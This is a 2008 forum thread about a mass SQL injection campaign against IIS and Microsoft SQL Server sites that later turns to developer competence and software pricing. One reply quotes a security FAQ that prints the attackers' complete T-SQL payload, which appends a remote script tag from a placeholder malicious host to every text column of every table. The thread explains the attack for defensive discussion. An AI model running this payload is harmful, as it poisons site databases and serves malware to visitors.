 |
|
|
|
|
|
| |
| |
|
|
|
|
| |
| |
|
|
http://blog.wired.com/monkeybites/2008/04/microsoft-datab.html
John
--
I will be brief but not nearly so brief as Salvador Dali, who gave the
world's shortest speech. He said, "I will be so brief I am already
finished," then he sat down.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Doctor John" <doc### [at] gmail com> wrote in message
news:481623fb@news.povray.org...
> http://blog.wired.com/monkeybites/2008/04/microsoft-datab.html
>
From what I read, that's not the fault of any MS product, but of bad
developers not checking their DB input. SQL injection is just as possible on
a unix powered site with apache and oracle as iot is with IIS and SQL server
(or IIS with MySQL, or IIS with Oracle, or apache windows woth SQL server
...)
http://hackademix.net/2008/04/26/mass-attack-faq/
The attack is targeting Microsoft IIS web servers. Is it exploiting a
Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper
security education) are to blame for each single infection, because the SQL
injection exploited to infect the web sites is possible thanks to trivial
coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a
reason.
Crackers put together a clever SQL procedure capable of polluting any
Microsoft SQL Server database in a generic way, with no need of knowing the
specific table and fields layouts:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
''<script src=http://evilsite.com/1.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;
This is the "secret sauce" which is allowing the attack to reach its
impressive numbers, and it works exclusively against Microsoft database
technology - but it's a feature, not a bug (no irony intended this time).
Anyway, the chances for such "powerful" DB technology of being used in
conjunction with web servers different than IIS are very low.
So, to recap:
1.. There's no Microsoft-specific vulnerability involved: SQL injections
can happpen (and do happen) on LAMP and other web application stacks as
well.
2.. SQL injections, and therefore these infections, are caused by poor
coding practices during web site development.
3.. Nonetheless, this mass automated epidemic is due to specific features
of Microsoft databases, allowing the exploit code to be generic, rather than
tailored for each single web site. Update: more details in this comment.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Gail Shaw wrote:
> "Doctor John" <doc### [at] gmailcom> wrote in message
> news:481623fb@news.povray.org...
>> http://blog.wired.com/monkeybites/2008/04/microsoft-datab.html
>>
>
> From what I read, that's not the fault of any MS product, but of bad
> developers not checking their DB input. SQL injection is just as possible on
> a unix powered site with apache and oracle as iot is with IIS and SQL server
> (or IIS with MySQL, or IIS with Oracle, or apache windows woth SQL server
> ....)
>
I didn't say it was an M$ problem. I was just pointing at the numbers
involved.
As my subject line says: I promised not to mock :-)
(I may mock the developers tho ;) )
John
--
I will be brief but not nearly so brief as Salvador Dali, who gave the
world's shortest speech. He said, "I will be so brief I am already
finished," then he sat down.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
p.s.
The exploit also requires that the DB security is not using 'best practices'
(all data access through stored procedures, no rights to the base tables)
But if a developer/development team have left SQL injection vulnerabilities
in the front end, I somehow doubt they'll have got the DB security right.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Doctor John" <doc### [at] gmailcom> wrote in message
news:4816311a@news.povray.org...
>
> I didn't say it was an M$ problem. I was just pointing at the numbers
> involved.
Due to the prevelence of ASP sites and the likelyhood of ASP sites having a
SQL server backend. I wonder how many systems would be affected if the DB
code was changed to work on MySQL...
>
> (I may mock the developers tho ;) )
>
Please do. They should be taken out and shot. They give the rest of us a bad
name.
I wish people would learn something before they hack together (no pun
intended) a web site with database. It's so easy to get right, but so many
people get it so wrong, and this is the result.
Oh, for your amusement, here's a SQL injection with an Oracle backend. I
think it's using Java serverlets. Not 100% sure.
http://thedailywtf.com/Articles/Oklahoma-Leaks-Tens-of-Thousands-of-Social-S
ecurity-Numbers,-Other-Sensitive-Data.aspx
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Gail Shaw wrote:
>> (I may mock the developers tho ;) )
>
> Please do. They should be taken out and shot. They give the rest of us a bad
> name.
> I wish people would learn something before they hack together (no pun
> intended) a web site with database. It's so easy to get right, but so many
> people get it so wrong, and this is the result.
Arguably one might blame Microsoft for the whole "hey, computers are
easy now, you don't need to bother learning how to use them properly"
mentallity.
Once upon a time [and it was a LONG time ago], you had to have PhDs to
even understand how to switch on a computer... Obviously, that's a tad
too far in the other direction, but M$ does seem to spend a lot of time
yelling "hey, if you use VB everything will magically work without
effort". It makes people think they don't need to bother learning how to
do things properly.
So, not a technological flaw - more a mentallity issue, if you will...
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Orchid XP v8 escribió:
> Arguably one might blame Microsoft for the whole "hey, computers are
> easy now, you don't need to bother learning how to use them properly"
> mentallity.
>
> Once upon a time [and it was a LONG time ago], you had to have PhDs to
> even understand how to switch on a computer... Obviously, that's a tad
> too far in the other direction, but M$ does seem to spend a lot of time
> yelling "hey, if you use VB everything will magically work without
> effort". It makes people think they don't need to bother learning how to
> do things properly.
PHP too. Few people use prepared statements in PHP, they just
concatenate strings into a SQL statement. And that's why PHP has such
abominations as "magic quotes", to protect the developers against
themselves, annoy to hell people who know what they're doing, and get
backslashes all over your webpages.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Gail Shaw escribió:
> "Doctor John" <doc### [at] gmailcom> wrote in message
> news:481623fb@news.povray.org...
>> http://blog.wired.com/monkeybites/2008/04/microsoft-datab.html
>>
>
> From what I read, that's not the fault of any MS product, but of bad
> developers not checking their DB input. SQL injection is just as possible on
> a unix powered site with apache and oracle as iot is with IIS and SQL server
> (or IIS with MySQL, or IIS with Oracle, or apache windows woth SQL server
> ...)
Yep, it was plain old SQL injection.
http://www.computerworld.com/action/article.do?command=printArticleBasic&articleId=9080678
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Orchid XP v8" <voi### [at] devnull> wrote in message
news:48163933$1@news.povray.org...
>
> Arguably one might blame Microsoft for the whole "hey, computers are
> easy now, you don't need to bother learning how to use them properly"
> mentallity.
Sorry, that's a cop-out. Blame someone else so you don't have to take
responsibility yourself.
SQL injection is mentioned in just about every single intro to web
development that I've seen. That include the '... for dummies' and '... in
24 hours' type books, as well as all the help files and documetation that
comes with the MS development tools. If there's a computer-literate person
out there who doesn't know that security is important, then they're been
under a rock for 10 years.
To make matters worse, find me another profession where people are willing
to take the cheaper option?
If you had to, say, go for eye surgery, and your options were a surgeon with
10 years experience who want to charge you a thousand pounds and an intern,
just out of med school who would do it for 200, which would you choose?
So, why in IT do people go for the cheapest option possible?
And if we're talking about computers are easy, no knowledge required,
shouldn't we also be blaming Apple?
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Mon, 28 Apr 2008 21:53:34 +0100, Orchid XP v8 <voi### [at] devnull>
wrote:
>
>Once upon a time [and it was a LONG time ago], you had to have PhDs to
>even understand how to switch on a computer...
It was only the PhDs that thought that. The maintenance crew were
playing "Kingdom". ;)
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Mon, 28 Apr 2008 23:06:10 +0200, "Gail Shaw"
<initialsurname@sentech sa dot com> wrote:
>So, why in IT do people go for the cheapest option possible?
Because "traditional" managers don't want to know and companies like
Andersons/Accenture and IBM think that it's the goose that lays the
golden egg.
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Orchid XP v8" <voi### [at] devnull> wrote in message
news:48163933$1@news.povray.org...
> Arguably one might blame Microsoft for the whole "hey, computers are
> easy now, you don't need to bother learning how to use them properly"
> mentallity.
Hey, cars are so easy to drive these days you don't need to learn all the
intricacies of driving safely. Hey, I just caused a major accident. Let me
blame the car manufacturer.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Nicolas Alvarez <nic### [at] gmailisthebestcom> wrote:
> PHP too. Few people use prepared statements in PHP, they just
> concatenate strings into a SQL statement. And that's why PHP has such
> abominations as "magic quotes", to protect the developers against
> themselves, annoy to hell people who know what they're doing, and get
> backslashes all over your webpages.
Most PHP programmers who know about SQL injections and quote escaping
believe it's enough to make PHP escape those quotes, but most of them
are oblivious to another exploit which the quote escape usually doesn't
fix, namely cross-site scripting.
--
- Warp
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Gail Shaw wrote:
> So, why in IT do people go for the cheapest option possible?
Fascinating stuff about how the space shuttle software gets written, if
you haven't seen it before...
http://www.fastcompany.com/magazine/06/writestuff.html
--
Darren New / San Diego, CA, USA (PST)
"That's pretty. Where's that?"
"It's the Age of Channelwood."
"We should go there on vacation some time."
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Warp wrote:
> are oblivious to another exploit which the quote escape usually doesn't
> fix, namely cross-site scripting.
You can fix this with quoting. You just have to quote different stuff.
Same problem, same solution, different programming language.
--
Darren New / San Diego, CA, USA (PST)
"That's pretty. Where's that?"
"It's the Age of Channelwood."
"We should go there on vacation some time."
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Mon, 28 Apr 2008 23:13:02 +0200, "Gail Shaw"
<initialsurname@sentech sa dot com> wrote:
>
>"Orchid XP v8" <voi### [at] devnull> wrote in message
>news:48163933$1@news.povray.org...
>
>> Arguably one might blame Microsoft for the whole "hey, computers are
>> easy now, you don't need to bother learning how to use them properly"
>> mentallity.
>
>Hey, cars are so easy to drive these days you don't need to learn all the
>intricacies of driving safely. Hey, I just caused a major accident. Let me
>blame the car manufacturer.
>
And like cars computers are cheep enough that they are within the
reach of a lot of people. I've noticed that more people make their
living from computers since they got cheeper.
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Mon, 28 Apr 2008 14:15:09 -0700, Darren New <dne### [at] sanrrcom>
wrote:
>
>http://www.fastcompany.com/magazine/06/writestuff.html
Very interesting but what do you expect when it is safety related and
not commercial?
I've worked on lots of hardware that were "safety critical" and the
software was seldom updated.
As an aside, remember Rocket Science isn't "rocket science" but it is
heavy engineering. :)
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
>> Arguably one might blame Microsoft for the whole "hey, computers are
>> easy now, you don't need to bother learning how to use them properly"
>> mentallity.
>
> Hey, cars are so easy to drive these days you don't need to learn all the
> intricacies of driving safely. Hey, I just caused a major accident. Let me
> blame the car manufacturer.
Yeah, well, how many car manufacturers actually *claim* that driving a
car is so easy that a child could do it? There's your difference. ;-)
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
>> Arguably one might blame Microsoft for the whole "hey, computers are
>> easy now, you don't need to bother learning how to use them properly"
>> mentallity.
>
> Sorry, that's a cop-out. Blame someone else so you don't have to take
> responsibility yourself.
Why does one specific developer suck? Well, because they aren't doing
their job properly. Why are there *so many* of these people? Well,
that's another question.
> To make matters worse, find me another profession where people are willing
> to take the cheaper option?
> If you had to, say, go for eye surgery, and your options were a surgeon with
> 10 years experience who want to charge you a thousand pounds and an intern,
> just out of med school who would do it for 200, which would you choose?
> So, why in IT do people go for the cheapest option possible?
Yeah, that does seem to pretty much be the root cause. Too many people
seem to think that all computer experts are of equal quality, and only
the price tag is important. [Mumbles something about monkeys and peanuts.]
> And if we're talking about computers are easy, no knowledge required,
> shouldn't we also be blaming Apple?
Yes, because Apple exert a significant influence on the global compu...
oh, wait... :-.
[In seriousness though... Apple claim their software is easy to use.
They don't claim that buying there software will magically turn you into
a developer. M$ claim exactly that.]
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Mon, 28 Apr 2008 22:41:42 +0100, Orchid XP v8 <voi### [at] devnull>
wrote:
>
>Yeah, well, how many car manufacturers actually *claim* that driving a
>car is so easy that a child could do it? There's your difference. ;-)
That's because it is against the law to allow a child to drive a car.
Otherwise … :(
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Orchid XP v8" <voi### [at] devnull> wrote in message
news:4816455a$1@news.povray.org...
>
> [In seriousness though... Apple claim their software is easy to use.
> They don't claim that buying there software will magically turn you into
> a developer. M$ claim exactly that.]
>
Wanna give a reference for that?
I know VB is "easy to learn", but easy to learn != no learning necessary.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Stephen <mcavoysAT@aoldotcom> wrote:
> That's because it is against the law to allow a child to drive a car.
> Otherwise ? :(
IMO it should be against the law to allow people to code without the
proper training, expertise and qualification tests... :P
--
- Warp
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Stephen wrote:
> Very interesting but what do you expect when it is safety related and
> not commercial?
I think that was sort of the point, except mayhaps a slight confusion on
the conclusion. Not "we do this because it's safety-critical", but "it
won't be safe until you start doing it this way." A slightly different
way of thinking, perhaps.
> I've worked on lots of hardware that were "safety critical" and the
> software was seldom updated.
Yes, because it's so hard to get right the first time if you don't do it
right.
--
Darren New / San Diego, CA, USA (PST)
"That's pretty. Where's that?"
"It's the Age of Channelwood."
"We should go there on vacation some time."
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Darren New wrote:
>> I've worked on lots of hardware that were "safety critical" and the
>> software was seldom updated.
>
> Yes, because it's so hard to get right the first time if you don't do it
> right.
That was a bit disjointed. It doesn't get updated because it's hard to
get the updates right if you don't follow the right process to make sure
it happens.
--
Darren New / San Diego, CA, USA (PST)
"That's pretty. Where's that?"
"It's the Age of Channelwood."
"We should go there on vacation some time."
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Warp" <war### [at] tagpovrayorg> wrote in message
news:48164d08@news.povray.org...
> Stephen <mcavoysAT@aoldotcom> wrote:
> > That's because it is against the law to allow a child to drive a car.
> > Otherwise ? :(
>
> IMO it should be against the law to allow people to code without the
> proper training, expertise and qualification tests... :P
Agreed. If we want to call it Software Engineering, then it should be
treated like any of the other engineering disciplines
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Mon, 28 Apr 2008 17:51:25 -0700, Darren New <dne### [at] sanrrcom>
wrote:
>Darren New wrote:
>>> I've worked on lots of hardware that were "safety critical" and the
>>> software was seldom updated.
>>
>> Yes, because it's so hard to get right the first time if you don't do it
>> right.
>
>That was a bit disjointed. It doesn't get updated because it's hard to
>get the updates right if you don't follow the right process to make sure
>it happens.
I meant that they don't often get updated because the programmers got
it right first time. Maybe I should mention that I'm not thinking
about pc based systems.
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Stephen wrote:
> I meant that they don't often get updated because the programmers got
> it right first time. Maybe I should mention that I'm not thinking
> about pc based systems.
That too. Of course, when what you want changes, you have to balance the
cost of making that change and being assured of getting it right against
the value you get from making the change. Which is what I was saying. :-)
I don't think the shuttle programs are such that this month's flight
being successful means they don't have to change the software for next
month's flight, for example.
--
Darren New / San Diego, CA, USA (PST)
"That's pretty. Where's that?"
"It's the Age of Channelwood."
"We should go there on vacation some time."
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
On Tue, 29 Apr 2008 09:35:05 -0700, Darren New <dne### [at] sanrrcom>
wrote:
>
>That too. Of course, when what you want changes, you have to balance the
>cost of making that change and being assured of getting it right against
>the value you get from making the change. Which is what I was saying. :-)
>
OK, so we weren't arguing. Good.
>I don't think the shuttle programs are such that this month's flight
>being successful means they don't have to change the software for next
>month's flight, for example.
I suppose that moving a small town's worth of pipe-work involves a few
changes, now and again. :)
--
Regards
Stephen
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Warp wrote:
> IMO it should be against the law to allow people to code without the
> proper training, expertise and qualification tests... :P
No argument here...
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
>> IMO it should be against the law to allow people to code without the
>> proper training, expertise and qualification tests... :P
>
> No argument here...
Not until software prices go up as a result...
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
scott wrote:
>>> IMO it should be against the law to allow people to code without the
>>> proper training, expertise and qualification tests... :P
>>
>> No argument here...
>
> Not until software prices go up as a result...
Well, let's face it, certain people *already* charge arms and legs for
their software. If that software was actually good quality, I wouldn't
mind the price so much...
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Invisible wrote:
>
> Well, let's face it, certain people *already* charge arms and legs for
> their software. If that software was actually good quality, I wouldn't
> mind the price so much...
>
Photoshop ....
But Photoshop is good quality. Well worth the money spent.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Invisible" <voi### [at] devnull> wrote in message
news:48187c9c@news.povray.org...
> scott wrote:
> >>> IMO it should be against the law to allow people to code without the
> >>> proper training, expertise and qualification tests... :P
> >>
> >> No argument here...
> >
> > Not until software prices go up as a result...
>
> Well, let's face it, certain people *already* charge arms and legs for
> their software. If that software was actually good quality, I wouldn't
> mind the price so much...
That describes half the vendor stuff I have to deal with. Overpriced and
crap at the same time.
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Gail Shaw wrote:
> That describes half the vendor stuff I have to deal with. Overpriced and
> crap at the same time.
Yeah, see, when stuff is really expensive but *good*, the people who
need the quality hand over the money, and the people who don't need it
don't [usually] complain about the price.
What pisses people off is when the software is expensive *and* crap, as
you say...
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Mike Raiford wrote:
> Photoshop ....
>
> But Photoshop is good quality. Well worth the money spent.
Indeed - it's expensive, but it's a quality product. I have no problem
with that.
--
http://blog.orphi.me.uk/
http://www.zazzle.com/MathematicalOrchid*
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Gail Shaw" <initialsurname@sentech sa dot com> wrote:
> Please do. They should be taken out and shot. They give the rest of us a bad
> name.
> I wish people would learn something before they hack together (no pun
> intended) a web site with database. It's so easy to get right, but so many
> people get it so wrong, and this is the result.
I'm planning on doing one from scratch this summer, but I only have a little PHP
experience, and no SQL. Can you recommend some good web sites for information
and tutorials?
....Chambers
www.pacificwebguy.com
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
Orchid XP v8 <voi### [at] devnull> wrote:
> Yeah, well, how many car manufacturers actually *claim* that driving a
> car is so easy that a child could do it? There's your difference. ;-)
It's definitely going that direction, though.
For instance, many cars will now parallel park themselves for you.
....Chambers
www.pacificwebguy.com
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
| |
|
|
"Chambers" <bdc### [at] yahoocom> wrote in message
news:web.4818e357343bf692261d9700@news.povray.org...
> "Gail Shaw" <initialsurname@sentech sa dot com> wrote:
> > Please do. They should be taken out and shot. They give the rest of us a
bad
> > name.
> > I wish people would learn something before they hack together (no pun
> > intended) a web site with database. It's so easy to get right, but so
many
> > people get it so wrong, and this is the result.
>
> I'm planning on doing one from scratch this summer, but I only have a
little PHP
> experience, and no SQL. Can you recommend some good web sites for
information
> and tutorials?
Sure. What are you looking for? Design princiles for a database? SQL
tutorial? And if so, for what DB? Security principles?
Post a reply to this message
|
|
| |
| |
|
|
|
|
| |
